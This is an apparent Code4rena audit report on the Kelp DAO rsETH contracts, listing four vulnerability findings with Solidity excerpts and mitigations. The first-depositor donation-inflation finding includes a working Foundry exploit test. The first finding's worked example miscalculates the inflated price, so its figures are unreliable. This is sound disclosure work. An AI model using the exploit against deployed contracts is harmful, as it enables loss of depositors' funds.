Kelp DAO | rsETH - Aymen0909's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52-L79 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L119-L144

Vulnerability details

Impact

The getRSETHPrice() function is used in getRsETHAmountToMint to determine the amount of RSETH that should be minted to the depositor, but as getRSETHPrice() includes the current depositor amount into the total asset deposited calculation the RSETH price returned will be higher than expected and thus the depositor will receive less RSETH amount that what was intended.

Proof of concept

The issue occurs in the getRSETHPrice() below:

function getRSETHPrice() external view returns (uint256 rsETHPrice) {
    address rsETHTokenAddress = lrtConfig.rsETH();
    uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

    if (rsEthSupply == 0) {
        return 1 ether;
    }

    uint256 totalETHInPool;
    address lrtDepositPoolAddr = lrtConfig.getContract(
        LRTConstants.LRT_DEPOSIT_POOL
    );

    address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
    uint256 supportedAssetCount = supportedAssets.length;
    //@audit will include the current user deposit in the asset ==> expectedShares=1e18
    for (uint16 asset_idx; asset_idx < supportedAssetCount; ) {
        address asset = supportedAssets[asset_idx];
        uint256 assetER = getAssetPrice(asset);

        uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr)
            .getTotalAssetDeposits(asset);
        totalETHInPool += totalAssetAmt * assetER;

        unchecked {
            ++asset_idx;
        }
    }

    return totalETHInPool / rsEthSupply;
}

as it can be seen the function calculates the RSETH price with the following formula:

RSETHPrice = (sum(totalAssetDeposited * assetETHPrice) = totalETHInPool) / rsEthSupply

To get the total asset deposited in the pool the LRTDepositPool.getTotalAssetDeposits function is called which under the hood calls LRTDepositPool.getAssetDistributionData :

function getAssetDistributionData(
    address asset
)
    public
    view
    override
    onlySupportedAsset(asset)
    returns (
        uint256 assetLyingInDepositPool,
        uint256 assetLyingInNDCs,
        uint256 assetStakedInEigenLayer
    )
{
    // Question: is here the right place to have this? Could it be in LRTConfig?
    assetLyingInDepositPool = IERC20(asset).balanceOf(address(this));

    uint256 ndcsCount = nodeDelegatorQueue.length;
    for (uint256 i; i < ndcsCount; ) {
        assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]);
        assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i])
            .getAssetBalance(asset);
        unchecked {
            ++i;
        }
    }
}

We can see that the total asset deposited in composed of three values: assetLyingInDepositPool, assetLyingInNDCs and assetStakedInEigenLayer.

Only the first value assetLyingInDepositPool is of our interest in this issue as it's equal to the pool asset balance balanceOf(address(this)) which will already include the depositor funds because when a depositor calls the depositAsset function it invokes getRsETHAmountToMint after transferring the depositor funds into the pool and thus the balance will be equal to :

assetLyingInDepositPool = balanceOf(address(this)) = balanceBeforeDeposit + depositedAmount

This will lead getRSETHPrice() to return a higher price for RSETH than what was intended (following the formula mentioned above), and thus the getRsETHAmountToMint will return a lower RSETH minted amount because its formula is inversely proportional to the RSETH price :

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

This issue will result in the depositor getting less RSETH tokens for his deposited asset amount.

To illustrate the issue let's take the following scenario:

• Bob wants to deposit 10 RETH

• Assume Before the deposit we had the following states:

rsEthSupply = 10e18

rEthDepositedBalance = 10e18

RETHPrice = 1e18

And thus if we assume only RETH asset (to simplify the example calculation) was deposited into the pool the RSETH price will be:

RSETHPrice = (rEthDepositedBalance * RETHPrice) / rsEthSupply = 1e18

And thus Bob is expecting to get 10 RSETH tokens:

RSETHMintedBob = (RETHPrice * BobDepositedAmount) / RSETHPrice = 10e18

• Now Bob start the deposit transaction and after transfer the 10 RETH token from Bob to the pool, getRsETHAmountToMint is called which will internally call lrtOracle.getRSETHPrice() and this function will find the following states:

rsEthSupply = 10e18

rEthDepositedBalance = 10e18 + BobDepositedAmount = 20e18

RETHPrice = 1e18

And thus it will return the RSETH price:

RSETHPrice = (rEthDepositedBalance * RETHPrice) / rsEthSupply = 10e18

Which will result in the RSETH token minted to Bob being:

RSETHMintedBob = (RETHPrice * BobDepositedAmount) / RSETHPrice = 1e18

• So Bob was expecting to get 10 RSETH tokens for his 10 RETH tokens deposited but instead he only got 1 RSETH token which highlight the mentioned issue.

Tools Used

Manual review, VS code

Recommended Mitigation Steps

To avoid this issue the getRSETHPrice() function should not include the current deposit amount in its calculation of the price.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L109 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52-L79

Vulnerability details

Impact

First depositor can deposit a single wei of asset into LRTDepositPool then donate a larger amount of asset funds to greatly inflate the RSETH price. Due to truncation when calculating the amount or RSETH to be minted in getRsETHAmountToMint, all later depositors will receive 0 RSETH for their deposits.

Proof of concept

The issue starts with the depositAsset function which allow any user to deposit any amount of supported asset into the pool, to get the amount of RSETH that should be minted to the depositor the getRsETHAmountToMint function is called, it uses the following formula:

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

To calculate the RSETH price the function lrtOracle.getRSETHPrice() uses the following formula:

sum(totalAssetDeposited * assetETHPrice) / rsethTotalSupply

Basically calculating the value of all supported assets deposited in the pool denominated in ETH and dividing by the RSETH total supply.

Here is where the first depositor can manipulate the RSETH price, by initially depositing 1 wei (a very small amount) of a given supported asset when RSETH total supply is zero, this will result in the following states :

rsethTotalSupply = 1

totalAssetDeposited = 1

getRSETHPrice() = 1e18

And just after that the attacker makes a donation to the pool contract by transferring a larger asset amount directly to the pool (with ERC20 transferFrom), if we suppose the attacker sends 10 RETH we will get the following states now:

rsethTotalSupply = 1

totalAssetDeposited = 10e18 + 1

getRSETHPrice() = 10e18

Thus the attacker managed to massively inflate the RSETH price and now all later depositor will receive 0 RSETH when depositing assets to the pool as the truncation in getRsETHAmountToMint will result in 0 RSETH getting minted.

• POC:

Add the below lines at the end of LRTDepositPoolTest.t.sol.

To run directly use the command: forge test --mc FirstDepositorAttack

import {LRTConfig, ILRTConfig} from "src/LRTConfig.sol";
import {IRSETH} from "../src/interfaces/IRSETH.sol";

contract RealisticLRTOracleMock {
    LRTConfig public lrtConfig;
    ILRTDepositPool public lrtDepositPool;

    constructor(address _lrtConfig, address lrtDepositPoolAddress) {
        lrtDepositPool = ILRTDepositPool(lrtDepositPoolAddress);
        lrtConfig = LRTConfig(_lrtConfig);
    }

    function getAssetPrice(address) public pure returns (uint256) {
        return 1e18;
    }

    //@audit using same logic used in the actual LRTOracle (not just returning 1e18) but with the lrtDepositPool contract of this test
    function getRSETHPrice() external view returns (uint256) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount; ) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = lrtDepositPool.getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

}

contract LRTDepositPoolTest1 is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
                address(contractImpl),
                address(proxyAdmin),
                ""
            );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));
        // add oracle to LRT config
        lrtConfig.setContract(
            LRTConstants.LRT_ORACLE,
            address(
                new RealisticLRTOracleMock(
                    address(lrtConfig),
                    address(lrtDepositPool)
                )
            )
        );

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        vm.stopPrank();
    }

}

contract FirstDepositorAttack is LRTDepositPoolTest1 {
    address public rETHAddress;

    function setUp() public override {
        super.setUp();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        rETHAddress = address(rETH);

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();
    }

    function test_attack() external {
        vm.startPrank(alice);

        address lrtOracleAddress = lrtConfig.getContract(
            LRTConstants.LRT_ORACLE
        );

        // RSETH initial supply is 0 => RSETH price = 1e18
        assertEq(rseth.totalSupply(), 0);
        assertEq(LRTOracleMock(lrtOracleAddress).getRSETHPrice(), 1e18);
        console.log("total supply: ", rseth.totalSupply());
        console.log(
            "initial price: ",
            LRTOracleMock(lrtOracleAddress).getRSETHPrice()
        );

        //deposit 1 wei of RETH into the pool
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(rETHAddress, 1);

        // RSETH supply = 1 => RSETH price = (1*1e18)/1 = 1e18
        assertEq(rseth.totalSupply(), 1);
        assertEq(LRTOracleMock(lrtOracleAddress).getRSETHPrice(), 1e18);

        // attacker donate 2 RETH to the pool
        rETH.approve(address(lrtDepositPool), 2 ether);
        rETH.transfer(address(lrtDepositPool), 2 ether);

        console.log(
            "RSETH price after attack: ",
            LRTOracleMock(lrtOracleAddress).getRSETHPrice()
        );
        console.log("RSETH price is now highly inflated");
        vm.stopPrank();

        vm.startPrank(bob);

        uint256 bobRSETHBalanceBefore = rseth.balanceOf(bob);
        assertEq(bobRSETHBalanceBefore, 0);
        console.log("Bob RSETH balance before: ", bobRSETHBalanceBefore);
        uint256 poolRETHBalanceBefore = lrtDepositPool.getTotalAssetDeposits(
            rETHAddress
        );
        console.log("Pool RETH balance before: ", poolRETHBalanceBefore);

        console.log("Bob tries deposit 10 RETH into the pool");
        // Bob tries to deposit 10 RETH into the pool
        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(rETHAddress, 10 ether);

        uint256 poolRETHBalanceAfter = lrtDepositPool.getTotalAssetDeposits(
            rETHAddress
        );
        console.log("Pool RETH balance after: ", poolRETHBalanceAfter);

        uint256 bobRSETHBalanceAfter = rseth.balanceOf(bob);
        assertEq(bobRSETHBalanceAfter, 0);
        console.log("Bob RSETH balance after: ", bobRSETHBalanceBefore);
        console.log("Bob deposited 10 RETH and received 0 RSETH");

        vm.stopPrank();
    }

}

Tools Used

Manual review, VS code

Recommended Mitigation Steps

To avoid this issue you should consider :

• Mint an initial small amount of RSETH at the creation.

• Add a minimum deposit amount.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/NodeDelegator.sol#L94-L116 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/NodeDelegator.sol#L121-L124 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTConfig.sol#L109-L122

Vulnerability details

Impact

Both getAssetBalances and getAssetBalance function returns the node delegator EigenLayer balance based on the strategy stored in the LRTConfig.assetStrategy mapping, but as this strategy can be updated in the LRTConfig after the node has already deposited into another strategy, the returned balance getAssetBalance (or getAssetBalances) would be wrong in that case (as it's pointing to another strategy than the one the delegator has deposited to) which will lead the functions that rely on getAssetBalance (or getAssetBalances) mainly: getAssetDistributionData to return wrong data which will in turn impact the RSETH price and the pool deposit mechanism.

This issue will force the protocol manager to only use a single strategy per asset for all the node in the future after a single delegator has already deposited, when he should ideally have the flexibility to switch to a better strategy for an asset, even if some delegators are already using a different strategy for the same asset, this will avoid a potential loss of funds as the new nodes will be able to use the newly set strategy.

Proof of concept

NOTE: the same issue is present in both getAssetBalances and getAssetBalance functions, so i will explain it here for getAssetBalance but the same applies for getAssetBalances function

The issue occurs in the getAssetBalance function below :

function getAssetBalance(
    address asset
) external view override returns (uint256) {
    //@audit will return wrong result if startegy was updated in lrtConfig after node has deposited
    address strategy = lrtConfig.assetStrategy(asset);
    return IStrategy(strategy).userUnderlyingView(address(this));
}

We can see that the function fetch the strategy address from the LRTConfig storage and specifically the LRTConfig.assetStrategy mapping but we also know that the value stored in that mappings can be changed with the updateAssetStrategy function.

Consequently, there exists a scenario where a node delegator has deposited an asset into one strategy (A), but the strategy is later changed to another strategy (B). As a result, getAssetBalance may return an incorrect asset balance (potentially 0) for that node.

This will impact getAssetDistributionData which is used to calculated the total asset deposited in the protocol as it will alos return a wrong amount which will further afftect other protocol functions: getTotalAssetDeposits(), getRSETHPrice(), depositAsset() resulting in a malfunctions of the protocol and even potential funds loss to the protocol or the user.

This discrepancy will extend to getAssetDistributionData, affecting the calculation of the total asset deposited in the protocol. This, in turn, impacts other protocol functions such as getTotalAssetDeposits(), getRSETHPrice(), and depositAsset(), leading to protocol malfunctions and potential fund loss.

This issue will force the protocol manager to only use a single strategy per asset for all the node in the future after a single delegator has already deposited (as if the strategy us changed the getAssetBalance function for that node will return wrong result) which could result in a loss of fund if that strategy become inefficient or loses funds, especially knowing that the EigenLayer protocol will support multiple strategies for every asset, each with distinct risk/yield advantages.

The manager should ideally have the flexibility to switch to a better strategy for an asset, even if some delegators are already using a different strategy for the same asset, this will avoid a potential loss of funds as the new nodes will be able to use the newly set strategy.

Tools Used

Manual review, VS code

Recommended Mitigation Steps

To address this issue and enable the manager to change the strategy (for future nodes) even after nodes have deposited, each node delegator contract should include a storage variable (mapping) indicating the strategy in use for each asset. This variable should be employed in Both getAssetBalances and getAssetBalance function to ensure accurate asset balance retrieval.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L119-L144

Vulnerability details

Impact

The function depositAsset is responsible of depositing assets into the LRT pool and minting RSETH to the depositor, because the minted RSETH amount depends on the calculated RSETH price and depositAsset does not implement a slippage protection the user deposit transaction can be front runned by another depositor (to increase RSETH price) causing the user to not receive the RSETH amount that he was expecting instead receiving a smaller amount.

Proof of Concept

When a user wants to make a deposit into the LRT pool the depositAsset function must be called :

function depositAsset(
    address asset,
    uint256 depositAmount
) external whenNotPaused nonReentrant onlySupportedAsset(asset) {
    // checks
    if (depositAmount == 0) {
        revert InvalidAmount();
    }
    if (depositAmount > getAssetCurrentLimit(asset)) {
        revert MaximumDepositLimitReached();
    }

    if (
        !IERC20(asset).transferFrom(
            msg.sender,
            address(this),
            depositAmount
        )
    ) {
        revert TokenTransferFailed();
    }

    // interactions
    uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

    //@audit No slippage protection

    emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
}

As it can be seen from the code above the function transfer the funds from the user and then calls getRsETHAmountToMint to get the RSETH amount that should be minted, getRsETHAmountToMint uses the following formula to do so:

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

The formula rely on the RSETH price which is calculated by getRSETHPrice() using this formula:

RSETHPrice = (sum(totalAssetDeposited * assetETHPrice) = totalETHInPool) / rsEthSupply

Because the RSETH price changes after each deposit, the depositAsset can be subject to front-running or sandwich attacks where an attacker front run the depositor transaction to increase the price thus when the depositor transaction goes through that depositor will receive less RSETH than what he was expecting.

And this issue will be more critical when the protocol will unable the withdrawals as that attacker will be able to back run the depositor to sell the RSETH at a higher price.

Tools Used

Manual review

Recommended Mitigation Steps

I recommend to add a slippage protection in the depositAsset function to avoid this issue now and in the future, this can be done by adding a minRSETHOut argument to the function (provided by the user) and checking if the returned RSETH amount is above it or not.

Assessed type

MEV